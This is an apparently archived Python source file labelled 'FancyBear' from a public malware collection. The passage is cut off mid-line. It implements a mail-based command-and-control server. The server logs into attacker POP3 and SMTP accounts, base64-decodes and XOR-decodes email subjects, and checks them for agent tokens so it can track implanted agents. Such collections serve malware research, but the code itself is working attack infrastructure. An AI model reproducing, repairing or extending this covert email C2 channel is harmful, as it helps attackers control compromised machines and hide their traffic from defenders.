# ------------------------------------------------------------ # name FancyBear # type exploit # cve — # year unknown # os Windows # authors unknown # source RamadhanAmizudin/malware # archived RamadhanAmizudin, krisyotam (2026) # notes — # ------------------------------------------------------------ # coding=utf-8 import time import poplib import smtplib import email import binascii import struct import base64 import XABase64 import socket import re from datetime import datetime from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from random import randint # import settings # from settings import P2_Scheme, P3_Scheme, LocalStorage, , \ # POP3_MAIL_IP, SMTP_MAIL_IP, POP3_ADDR, POP3_PASS, SMTP_FROM_ADDR, SMTP_PASS, SMTP_TO_ADDR import settings import logging class MailServer(object): def __init__(self, settings=settings, logger=logging): self.smtp = None self.pop3 = None self.agents_list = [] self.settings = settings self.pop3_port = settings.POP3_PORT self.smtp_port = settings.SMTP_PORT self.log = logger # self.log.basicConfig(level=logging.info) self.log.basicConfig(level=logging.INFO) self.storage = settings.LocalStorage self.server_log = settings.ServerLogger self.p2s = settings.P2_Scheme self.p3s = settings.P3_Scheme self.pop3host = settings.POP3_MAIL_IP self.smtphost = settings.SMTP_MAIL_IP self.pop3addr = settings.POP3_ADDR self.smtp_to_addr = settings.SMTP_TO_ADDR self.smtp_from_addr = settings.SMTP_FROM_ADDR self.pop3_pass = settings.POP3_PASS self.smtp_pass = settings.SMTP_PASS self.log.basicConfig() # def get_content(self, content): # try: # return base64.urlsafe_b64decode(content) # except Exception as e: # self.log.error(e) # return def get_msg(self, msg): try: subject = base64.b64decode(msg['Subject']) return subject except Exception as e: self.log.error(e) self.log.info(msg.as_string()) return def get_token(self, msg): if not msg: return xor = self.get_msg(msg) if not xor: return try: bin_junk = self.p2s.binary_junk_len data = XABase64.xor(xor[bin_junk:], xor[:bin_junk]) subject_token_len = len(self.p2s.subj_token) if data[:subject_token_len] == self.p2s.subj_token: aid = struct.unpack('